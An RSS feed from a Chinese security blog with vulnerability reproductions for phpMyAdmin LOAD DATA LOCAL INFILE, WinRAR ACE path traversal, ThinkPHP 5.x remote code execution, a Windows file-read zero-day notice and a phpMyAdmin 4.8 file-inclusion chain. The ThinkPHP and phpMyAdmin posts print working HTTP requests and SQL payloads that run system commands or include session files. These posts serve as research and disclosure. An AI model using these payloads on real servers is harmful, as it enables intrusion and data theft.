<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>专题之漏洞篇 &#8211; ChaBug安全</title>
	<atom:link href="/special/exploit/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sun, 01 Mar 2020 04:17:21 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>LOAD DATA LOCAL INFILE在phpmyadmin4.0.10版本后的应用</title>
		<link>/web/1294.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Sun, 01 Mar 2020 04:17:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<guid isPermaLink="false">/?p=1294</guid>

					<description><![CDATA[LOAD DATA LOCAL INFILE 很早之前就出现的问题了，文章中不会过多的复述相关知识，谷歌关键词搜索“mysql 客户端任意文件读取”。 介绍 # 简单来了解一下官方...]]></description>
										<content:encoded><![CDATA[<h3>LOAD DATA LOCAL INFILE</h3>
<p>很早之前就出现的问题了，文章中不会过多的复述相关知识，谷歌关键词搜索“mysql 客户端任意文件读取”。</p>
<h4>介绍</h4>
<pre><code class="language-tex "># 简单来了解一下官方文档吧。

The LOAD DATA statement can load a file located on the server host, or, if the LOCAL keyword is specified, on the client host.

There are two potential security issues with the LOCAL version of LOAD DATA:

1. The transfer of the file from the client host to the server host is initiated by the MySQL server. In theory, a patched server could be built that would 
tell the client program to transfer a file of the server's choosing rather than the file named by the client in the LOAD DATA statement. Such a server could
access any file on the client host to which the client user has read access. (A patched server could in fact reply with a file-transfer request to any 
statement, not just LOAD DATA LOCAL, so a more fundamental issue is that clients should not connect to untrusted servers.)

2. In a Web environment where the clients are connecting from a Web server, a user could use LOAD DATA LOCAL to read any files that the Web server process 
has read access to (assuming that a user could run any statement against the SQL server). In this environment, the client with respect to the MySQL server 
actually is the Web server, not a remote program being run by users who connect to the Web server.
</code></pre>
<p>重点看这两个潜在的安全问题，简单来说就是：</p>
<ul>
<li>利用该语句可以访问<strong>客户端用户</strong>具有读取访问权限的<strong>客户端主机上</strong>的任何文件。</li>
<li>在客户端是从web服务器进行连接的web环境中（例如：phpmyadmin），利用该语句可以读取Web服务器进程具有读取权限的任何文件。</li>
</ul>
<p>文档中也有解释，在web充当客户端这种web环境中，相对于mysql服务器的客户端是web服务器。说的再简单一些，利用load data local infile读取文件的权限，等同于你php的权限（php为后端语言的情况），php能读/etc/passwd那用改语句也可以读。因此就产生了两个利用条件：</p>
<ul>
<li>php.ini：open_basedir</li>
<li>my.ini：local_infile = 1</li>
</ul>
<h4>mysql客户端中的利用</h4>
<p><img src="https://i.loli.net/2020/03/01/cQlLVGwzsbOxC8B.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/VrWcYGijoD21HdF.png" alt="" /></p>
<p>可以看到默认secure_file_priv的value是NULL，需要我们手动去改才能使用load data infile，但是加了local后可以直接读文件，并不受这个限制。</p>
<h4>phpmyadmin中的问题</h4>
<blockquote><p>
  环境为phpmyadmin5.0.1，官方最新版了吧
</p></blockquote>
<p><img src="/wp-content/uploads/2020/03/W1EABH2hxGksFjw.png" alt="" /></p>
<p>可以看到，插入了0行。同样是root，同样是使用了local，php也并没有设置open_basedir，很好奇为什么读不到数据。问了同事他说也没遇到过，同事通过查看phpmyadmin的源代码告诉我可以绕过（感谢我老铁的帮助Orz），同时我在phpmyadmin的官方github commit中找到了问题。</p>
<h4>绕过限制</h4>
<blockquote><p>
  github 中2016年的commit
</p></blockquote>
<p><a class="wp-editor-md-post-content-link" href="https://github.com/phpmyadmin/phpmyadmin/commit/d03954b">Enable LOAD DATA LOCAL INFILE only when needed</a></p>
<p><img src="/wp-content/uploads/2020/03/Rqy5tJdCBoEz1ka.png" alt="" /></p>
<p>可以发现由于客户端文件读取那个漏洞，phpmyadmin将默认不能使用local infile这个功能，而是将他放入了LDI这个插件中，只有导入了该插件才可以使用该功能。</p>
<p>再来看一下修改的代码部分：</p>
<p><img src="/wp-content/uploads/2020/03/HK6GBOyZaFW29Xv.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/P5odeJaKTW21vbj.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/BR9DKE8UdxczuQS.png" alt="" /></p>
<p>没有什么验证，只要post format=1即可define PMA_ENABLE_LDI =1。我下载了最新版的phpmyadmin看了一下源代码，依旧如此。</p>
<p><img src="/wp-content/uploads/2020/03/Hg9oDpBdz8Mrqa3.png" alt="" /></p>
<p>因此当可以登陆phpmyadmin却不知道根路径或者无法写文件时，也许我们又至少多了一条路可以走</p>
<p><img src="/wp-content/uploads/2020/03/NmIdpDokU8t23rw.png" alt="" /></p>
<p><img src="/wp-content/uploads/2020/03/USoHTy4vb3mpMK7.png" alt="" /></p>
<h4>最后</h4>
<p>还跟同事开玩笑说让他赶紧交了phpmyadmin 0day，不过顶多算一个bug吧。另外如果文中出现笔误，或者哪里理解错误还望及时指出联系我更改，以免误人子弟。</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Winrar目录穿越漏洞复现</title>
		<link>/web/649.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 06 Jul 2019 17:13:56 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[winrar]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=649</guid>

					<description><![CDATA[漏洞描述: 近日Check Point团队爆出了一个关于WinRAR存在19年的漏洞，用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件，当受害者使用WinR...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block" contenteditable="true"><span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>描述:</p>
<p class="md-end-block" contenteditable="true">近日Check Point团队爆出了一个关于WinRAR存在19年的漏洞，用它来可以获得受害者计算机的控制。攻击者只需利用此漏洞构造恶意的压缩文件，当受害者使用WinRAR解压该恶意文件时便会触发漏洞。</p>
<p class="md-end-block md-focus" contenteditable="true"><span class="">该漏洞是由于 WinRAR 所使用的一个陈旧的动态链接库</span><span class="" spellcheck="false"><code>UNACEV2.dll</code></span><span class="md-expand">所造成的，该动态链接库在 2006 年被编译，没有任何的基础保护机制(ASLR, DEP 等)。动态链接库的作用是处理 ACE 格式文件。而WinRAR解压ACE文件时，由于没有对文件名进行充分过滤，导致其可实现目录穿越，将恶意文件写入任意目录,甚至可以写入文件至开机启动项，导致代码执行</span></p>
<p class="md-end-block" contenteditable="true">漏洞影响:</p>
<p class="md-end-block" contenteditable="true">影响软件：</p>
<p class="md-end-block" contenteditable="true">WinRAR &lt; 5.70 Beta 1</p>
<p class="md-end-block" contenteditable="true">Bandizip &lt; = 6.2.0.0</p>
<p class="md-end-block" contenteditable="true">好压(2345压缩) &lt; = 5.9.8.10907</p>
<p class="md-end-block" contenteditable="true">360压缩 &lt; = 4.0.0.1170</p>
<p class="md-end-block" contenteditable="true">等等…</p>
<p class="md-end-block" contenteditable="true">漏洞复现:</p>
<p class="md-end-block" contenteditable="true">该漏洞的实现过程：首先新建一个任意文件，然后利用WinACE进行压缩，修改filename来实现目录穿越漏洞，可以将文件解压到任意目录中。</p>
<p class="md-end-block" contenteditable="true">主要所需工具<span class=" md-link"><a spellcheck="false" href="https://web.archive.org/web/20170714193504/http:/winace.com:80/" target="_blank" rel="nofollow noopener noreferrer"><span spellcheck="false"><code>WinACE</code></span></a></span>、010Editor。</p>
<p class="md-end-block" contenteditable="true">下载WinACE并安装，安装完成后新建一个文本文件，名字任意。</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/Y%24V0N6%24_%25_1YD7%24S1~SY_%25E.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/Y%24V0N6%24_%25_1YD7%24S1~SY_%25E.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">然后利用WinACE进行压缩。</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/G8Y~R%5D%7D_%5D~%7D%60C%5D0L7MN_PU9.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/G8Y~R%5D%7D_%5D~%7D%60C%5D0L7MN_PU9.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true"><span class="">设置为store full path</span></p>
<p class="md-end-block" contenteditable="true"><span class="">3通过脚本检查rar的header信息，其脚本下载地址为：</span></p>
<p class="md-end-block" contenteditable="true"><span class="md-link" spellcheck="false"><a href="https://raw.githubusercontent.com/backlion/acefile/master/acefile.py" target="_blank" rel="nofollow noopener noreferrer">https://raw.githubusercontent.com/backlion/acefile/master/acefile.py</a></span></p>
<p class="md-end-block" contenteditable="true">使用命令<span spellcheck="false"><code>python acefile.py --headers test.ace</code></span>来读取该文件头信息</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/1.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/1.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">要注意这三块</p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>hdr_crc</code></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>hdr_size</code></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>filename的长度</code></span></p>
<p class="md-end-block" contenteditable="true"><span spellcheck="false"><code>filename</code></span></p>
<p class="md-end-block" contenteditable="true">使用010 Editor打开ace文件进行修改(这里要注意修改顺序是从后往前的)</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/NVG%25E~Y%5BBK_VS~JUIN6J5XK.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/NVG%25E~Y%5BBK_VS~JUIN6J5XK.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">如果要修改filename，则需要修改上面标注这几处。第一处为0xd9e2(hdr_crc),第二处为0x0027(hdr_size)，第三处为0x0008(filename的长度），以及最后一处为filename</p>
<p class="md-end-block" contenteditable="true">这里修改filename为<span spellcheck="false"><code>d:\d:\test.txt</code></span></p>
<p class="md-end-block" contenteditable="true">长度为14，对应的hex为0x000e</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/2.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/2.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">然后修改hdr_size，长度为45，对应的hex为0x002d</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/%7DFB9RX%7DX%24D6SVB_%5DP8ML%5BB5.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/%7DFB9RX%7DX%24D6SVB_%5DP8ML%5BB5.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">接下来就是修改hdr_crc了，这里有一个取巧的方法。</p>
<p class="md-end-block" contenteditable="true">我们再次运行命令<span spellcheck="false"><code>python acefile.py --headers test.ace</code></span></p>
<p class="md-end-block" contenteditable="true">程序中断并提示<span spellcheck="false"><code>CorruptedArchiveError: header CRC failed</code></span></p>
<p class="md-end-block" contenteditable="true">定位到错误的位置</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/3.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/3.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">然后去修改hdr_crc 为0xb2f3</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/4.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/4.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">再次查看，可以正常解析，并看到filename已经修改成功</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/5.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/5.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">右键解压该文件，则会在D盘生成一个test.txt文件。</p>
<p class="md-end-block" contenteditable="true"><span class="md-image md-img-loaded" data-src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/6.png"><img src="https://syst1m-1258471648.cos.ap-beijing.myqcloud.com/6.png" alt="Winrar目录穿越漏洞复现-ChaBug安全" /></span></p>
<p class="md-end-block" contenteditable="true">解压后会在D盘生成一个test.txt文件</p>
<h2 class="md-end-block md-heading" contenteditable="true">修复建议</h2>
<ol class="ol-list" start="">
<li class="md-list-item">
<p class="md-end-block"><span class="">升级到最新版本，WinRAR 目前版本是 5.70 Beta 1</span></p>
</li>
<li class="md-list-item">
<p class="md-end-block">删除UNACEV2.dll文件，解压则会报错</p>
</li>
</ol>
<p class="md-end-block" contenteditable="true">参考:<span class="md-link md-expand" spellcheck="false"><a href="https://fuping.site/2019/02/21/WinRAR-Extracting-Code-Execution-Validate/" target="_blank" rel="nofollow noopener noreferrer">https://fuping.site/2019/02/21/WinRAR-Extracting-Code-Execution-Validate/</a></span></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Thinkphp5.1 ~ 5.2 全版本代码执行</title>
		<link>/web/643.html</link>
					<comments>/web/643.html#comments</comments>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Tue, 15 Jan 2019 08:02:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[代码执行]]></category>
		<guid isPermaLink="false">/?p=643</guid>

					<description><![CDATA[序言 最近爆出了Thinkphp5.0.*全版本代码执行，其中5.1与5.2全版本在生产环境下下同样也存在代码执行 漏洞分析： 文件位置：\thinkphp\library\thi...]]></description>
										<content:encoded><![CDATA[<h3>序言</h3>
<p>最近爆出了Thinkphp5.0.*全版本<span class="wpcom_tag_link"><a href="/tags/%e4%bb%a3%e7%a0%81%e6%89%a7%e8%a1%8c" title="代码执行" target="_blank">代码执行</a></span>，其中5.1与5.2全版本在<strong>生产环境下</strong>下同样也存在代码执行</p>
<hr />
<h3>漏洞分析：</h3>
<p>文件位置：\<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>\library\think\Request.php</p>
<pre class="lang:default decode:true prettyprint prettyprinted ">    /**
     * 当前的请求类型
     * @access public
     * @param  bool $origin  是否获取原始请求类型
     * @return string
     */
    public function method($origin = false)
    {
        if ($origin) {
            // 获取原始请求类型
            return $this-&gt;server('REQUEST_METHOD') ?: 'GET';
        } elseif (!$this-&gt;method) {
            if (isset($_POST[$this-&gt;config['var_method']])) {
                $this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
                $method          = strtolower($this-&gt;method);
                $this-&gt;{$method} = $_POST;
            } elseif ($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE')) {
                $this-&gt;method = strtoupper($this-&gt;server('HTTP_X_HTTP_METHOD_OVERRIDE'));
            } else {
                $this-&gt;method = $this-&gt;server('REQUEST_METHOD') ?: 'GET';
            }
        }

        return $this-&gt;method;
    }</pre>
<p>其中：</p>
<pre class="lang:default decode:true prettyprint prettyprinted">$this-&gt;method    = strtoupper($_POST[$this-&gt;config['var_method']]);
$method          = strtolower($this-&gt;method);
$this-&gt;{$method} = $_POST;</pre>
<p>$method变量是$this-&gt;method，其同等于POST的”_method”参数值</p>
<p>然后该处存在一个变量覆盖</p>
<p>我们可以覆盖 $filter 属性值(POC如下)</p>
<pre class="lang:default decode:true prettyprint prettyprinted">c=exec&amp;f=calc.exe&amp;&amp;_method=filter&amp;</pre>
<p>访问如下图所示：</p>
<p><img src="http://boomeye.com/statics/wordpress/1.png" alt="1547216389386" /></p>
<p>会爆出一个警告级别的异常，导致程序终止</p>
<h3>如何触发：</h3>
<p>如果设置忽略异常提示，如下图：</p>
<p><img src="http://boomeye.com/statics/wordpress/2.png" alt="1547216439115" /></p>
<p>本身项目发布就需要屏蔽异常和错误所以这个配置是一个正常的配置</p>
<h3>Payload（POST请求）:</h3>
<p><img src="http://boomeye.com/statics/wordpress/3.png" alt="1547216479219" /></p>
<p>弹出计算器</p>
]]></content:encoded>
					
					<wfw:commentRss>/web/643.html/feed</wfw:commentRss>
			<slash:comments>1</slash:comments>
		
		
			</item>
		<item>
		<title>Thinkphp5.x又双叒叕一个远程代码执行</title>
		<link>/web/638.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 11 Jan 2019 12:44:24 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[thinkphp]]></category>
		<category><![CDATA[远程命令执行]]></category>
		<guid isPermaLink="false">/?p=638</guid>

					<description><![CDATA[今天thinkphp官方又双叒叕发布了5.0.24版本，包含了一个可能getshell的安全更新。在12月9日thinkphp爆出远程代码执行之后，今天晚上又爆出来远程代码执行，见...]]></description>
										<content:encoded><![CDATA[<p class="md-end-block" contenteditable="true">今天<span class="wpcom_tag_link"><a href="/tags/thinkphp" title="thinkphp" target="_blank">thinkphp</a></span>官方又双叒叕发布了5.0.24版本，包含了一个可能getshell的安全更新。在12月9日thinkphp爆出远程代码执行之后，今天晚上又爆出来远程代码执行，见<span class=" md-link"><a spellcheck="false" href="https://blog.thinkphp.cn/910675">官方公告</a></span><span class="">。</span></p>
<h3 class="md-end-block md-heading" contenteditable="true">影响范围</h3>
<p class="md-end-block" contenteditable="true">thinkphp5.0.0~5.0.23</p>
<h3 class="md-end-block md-heading" contenteditable="true">各版本PoC</h3>
<p class="md-end-block" contenteditable="true">thinkphp5.0.10版本poc如图</p>
<p><span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fz2vmzjmtvj30z40rktd9.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fz2vmzjmtvj30z40rktd9.jpg" /></span></p>
<pre class="lang:default decode:true ">POST /think-5.0.10/public/index.php?s=index/index/index HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
​
s=whoami&amp;_method=__construct&amp;method=&amp;filter[]=system</pre>
<p>&nbsp;</p>
<p class="md-end-block" contenteditable="true">在官网最新下载的5.0.23完整版中，在App类（thinkphp/library/think/App.php）中module方法增加了设置filter参数值的代码，用于初始化filter。因此通过上述请求设置的filter参数值会被重新覆盖为空导致无法利用。</p>
<p>thinkphp5.0.23版本<span class=""><strong>需要开启debug模式</strong></span>才可以利用，附两个poc： <span class="md-image md-img-loaded" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fz2vpbwanaj30z40rk799.jpg"><img src="https://ws1.sinaimg.cn/large/006xriynly1fz2vpbwanaj30z40rk799.jpg" /></span></p>
<pre class="lang:default decode:true ">POST /thinkphp/public/index.php HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
​
_method=__construct&amp;filter[]=system&amp;server[REQUEST_METHOD]=whoami</pre>
<p>&nbsp;</p>
<div class="md-hr md-end-block" tabindex="-1" contenteditable="false">
<hr />
</div>
<p class="md-end-block md-focus" contenteditable="true"><span class="md-image md-img-loaded md-expand" contenteditable="false" data-src="https://ws1.sinaimg.cn/large/006xriynly1fz2vv99temj30z40rkwik.jpg"><img class="" src="https://ws1.sinaimg.cn/large/006xriynly1fz2vv99temj30z40rkwik.jpg" /></span></p>
<pre class="lang:default decode:true ">POST /thinkphp/public/index.php?s=captcha HTTP/1.1
Host: 127.0.0.1
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 77
​
_method=__construct&amp;filter[]=system&amp;method=post&amp;server[REQUEST_METHOD]=whoami</pre>
<p>&nbsp;</p>
<p>上一个rec参考链接</p>
<blockquote class="wp-embedded-content" data-secret="uQx7gAthaX"><p><a href="/web/613.html">thinkphp5框架缺陷导致远程代码执行</a></p></blockquote>
<p><iframe title="《thinkphp5框架缺陷导致远程代码执行》—ChaBug安全" class="wp-embedded-content" sandbox="allow-scripts" security="restricted" style="position: absolute; clip: rect(1px, 1px, 1px, 1px);" src="/web/613.html/embed#?secret=uQx7gAthaX" data-secret="uQx7gAthaX" width="500" height="282" frameborder="0" marginwidth="0" marginheight="0" scrolling="no"></iframe></p>
<p><a href="https://y4er.com/post/thinkphp5.x-rce-18-12-9/">https://y4er.com/post/thinkphp5.x-rce-18-12-9/</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Windows Read Any File</title>
		<link>/web/629.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sat, 22 Dec 2018 07:27:21 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[文件读取]]></category>
		<guid isPermaLink="false">/?p=629</guid>

					<description><![CDATA[近日，国外安全研究员 SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC。这是2018年8月开始该研究员公布的第三个windows 0d...]]></description>
										<content:encoded><![CDATA[<p>近日，国外安全研究员 SandboxEscaper又一次在推特上公布了新的Windows 0 day漏洞细节及PoC。这是2018年8月开始该研究员公布的第三个<span class="wpcom_tag_link"><a href="/tags/windows" title="windows" target="_blank">windows</a></span> 0day漏洞。此次披露的漏洞可造成任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e8%af%bb%e5%8f%96" title="文件读取" target="_blank">文件读取</a></span>。该漏洞可允许低权限用户或恶意程序读取目标Windows主机上任意文件的内容，但不可对文件进行写入操作。在微软官方补丁发布之前，所有windows用户都将受此漏洞影响。</p>
<h2 id="漏洞信息">漏洞信息</h2>
<ul>
<li>预警编号 <strong>NS-2018-0041</strong></li>
<li>发布日期 <strong>2018-12-21</strong></li>
<li>危害等级 <strong>高,此漏洞可导致攻击者读取任意系统文件，PoC已公开。</strong></li>
</ul>
<h2 id="poc演示">Poc演示</h2>
<div>
<iframe frameborder="0" src="https://v.qq.com/txp/iframe/player.html?vid=l1355lq4hp7" allowfullscreen="allowfullscreen"></iframe></div>
<h2 id="参考链接">参考链接</h2>
<p><a href="https://thehackernews.com/2018/12/windows-zero-day-exploit.html">https://thehackernews.com/2018/12/windows-zero-day-exploit.html</a></p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Phpmyadmin4.8.0~4.8.3任意文件包含</title>
		<link>/web/628.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Fri, 21 Dec 2018 00:41:32 +0000</pubDate>
				<category><![CDATA[渗透测试]]></category>
		<category><![CDATA[phpmyadmin]]></category>
		<category><![CDATA[文件包含]]></category>
		<category><![CDATA[漏洞]]></category>
		<guid isPermaLink="false">/?p=628</guid>

					<description><![CDATA[前言 2018年12月7日，phpmyadmin官方发布公告修复了一个由Transformation特性引起的任意文件包含漏洞。 漏洞分析 Transformation是phpMy...]]></description>
										<content:encoded><![CDATA[<h2 id="前言">前言</h2>
<p>2018年12月7日，<span class="wpcom_tag_link"><a href="/tags/phpmyadmin" title="phpmyadmin" target="_blank">phpmyadmin</a></span>官方发布<a href="https://www.phpmyadmin.net/security/PMASA-2018-6/">公告</a>修复了一个由<code>Transformation</code>特性引起的任意<span class="wpcom_tag_link"><a href="/tags/%e6%96%87%e4%bb%b6%e5%8c%85%e5%90%ab" title="文件包含" target="_blank">文件包含</a></span><span class="wpcom_tag_link"><a href="/tags/%e6%bc%8f%e6%b4%9e" title="漏洞" target="_blank">漏洞</a></span>。</p>
<h2 id="漏洞分析">漏洞分析</h2>
<p><code>Transformation</code>是phpMyAdmin中的一个高级功能，通过<code>Transformation</code>可以对每个字段的内容使用不同的转换，每个字段中的内容将被预定义的规则所转换。比如我们有一个存有文件名的字段<code>Filename</code>，正常情况下 phpMyAdmin 只会将路径显示出来。但是通过<code>Transformation</code>我们可以将该字段转换成超链接，我们就能直接在 phpMyAdmin 中点击并在浏览器的新窗口中看到这个文件。</p>
<p>通常情况下Transformation的规则存储在每个数据库的<code>pma__column_info</code>表中，而在phpMyAdmin 4.8.0~4.8.3版本中，由于对转换参数处理不当，导致了任意文件包含漏洞的出现。</p>
<p>这些转换在phpMyAdmin的<code>column_info</code>表中定义，他通常已经存在于phpMyAdmin的系统表中。但是每个数据库都可以生成自己的版本。要为特定数据库生成phpmyadmin系统表，可以这样生成</p>
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=*yourdb*</pre>
<p>它将会创建一个<code>pma__*</code>表的集合到你数据库中。</p>
<p>说了这么多，我们来看下具体产生漏洞的代码<code>tbl_replace.php</code></p>
<pre class="lang:default decode:true line-numbers language-php">&lt;?php

$mime_map = Transformations::getMIME($GLOBALS['db'], $GLOBALS['table']);
[省略]
// Apply Input Transformation if defined
if (!empty($mime_map[$column_name])
&amp;&amp; !empty($mime_map[$column_name]['input_transformation'])
) {
   $filename = 'libraries/classes/Plugins/Transformations/'
. $mime_map[$column_name]['input_transformation'];
   if (is_file($filename)) {
      include_once $filename;
      $classname = Transformations::getClassName($filename);
      /** @var IOTransformationsPlugin $transformation_plugin */
      $transformation_plugin = new $classname();
      $transformation_options = Transformations::getOptions(
         $mime_map[$column_name]['input_transformation_options']
      );
      $current_value = $transformation_plugin-&gt;applyTransformation(
         $current_value, $transformation_options
      );
      // check if transformation was successful or not
      // and accordingly set error messages &amp; insert_fail
      if (method_exists($transformation_plugin, 'isSuccess')
&amp;&amp; !$transformation_plugin-&gt;isSuccess()
) {
         $insert_fail = true;
         $row_skipped = true;
         $insert_errors[] = sprintf(
            __('Row: %1$s, Column: %2$s, Error: %3$s'),
            $rownumber, $column_name,
            $transformation_plugin-&gt;getError()
         );
      }
   }
}</pre>
<p>拼接到<code>$filename</code>的变量<code>$mime_map[$column_name]['input_transformation']</code>来自于数据表<code>pma__column_info</code>中的<code>input_transformation</code>字段，因为数据库中的内容用户可控，从而产生了任意文件包含漏洞。</p>
<h2 id="漏洞利用">漏洞利用</h2>
<ol>
<li>创建一个新的数据库<code>foo</code>和一个随机的<code>bar</code>表，在表中创建一个<code>baz</code>字段，然后把我们的php代码写入session
<pre class="lang:default decode:true line-numbers language-sql">CREATE DATABASE foo;
CREATE TABLE foo.bar ( baz VARCHAR(255) PRIMARY KEY );
INSERT INTO foo.bar SELECT '&lt;?php phpinfo() ?&gt;';</pre>
</li>
<li>创建phpmyadmin系统表在你的<code>foo</code>数据库中
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/chk_rel.php?fixall_pmadb=1&amp;db=foo</pre>
</li>
<li>将篡改后的<code>Transformation</code>数据插入表<code>pma__columninfo</code>中：将<code>yourSessionId</code>替换成你的会话ID，即COOKIE中phpMyAdmin的值
<pre class="lang:default decode:true line-numbers language-sql">INSERT INTO `pma__column_info`SELECT '1', 'foo', 'bar', 'baz', 'plop',
'plop', 'plop', 'plop',
'../../tmp/sess_{yourSessionId}','plop';</pre>
</li>
<li>然后访问
<pre class="lang:default decode:true line-numbers language-http">http://phpmyadmin/tbl_replace.php?db=foo&amp;table=bar&amp;where_clause=1=1&amp;fields_name[multi_edit][][]=baz&amp;clause_is_unique=1</pre>
<p>如果利用成功，则会返回<code>phpinfo();</code></li>
</ol>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Typora Remote Command Execution</title>
		<link>/web/627.html</link>
		
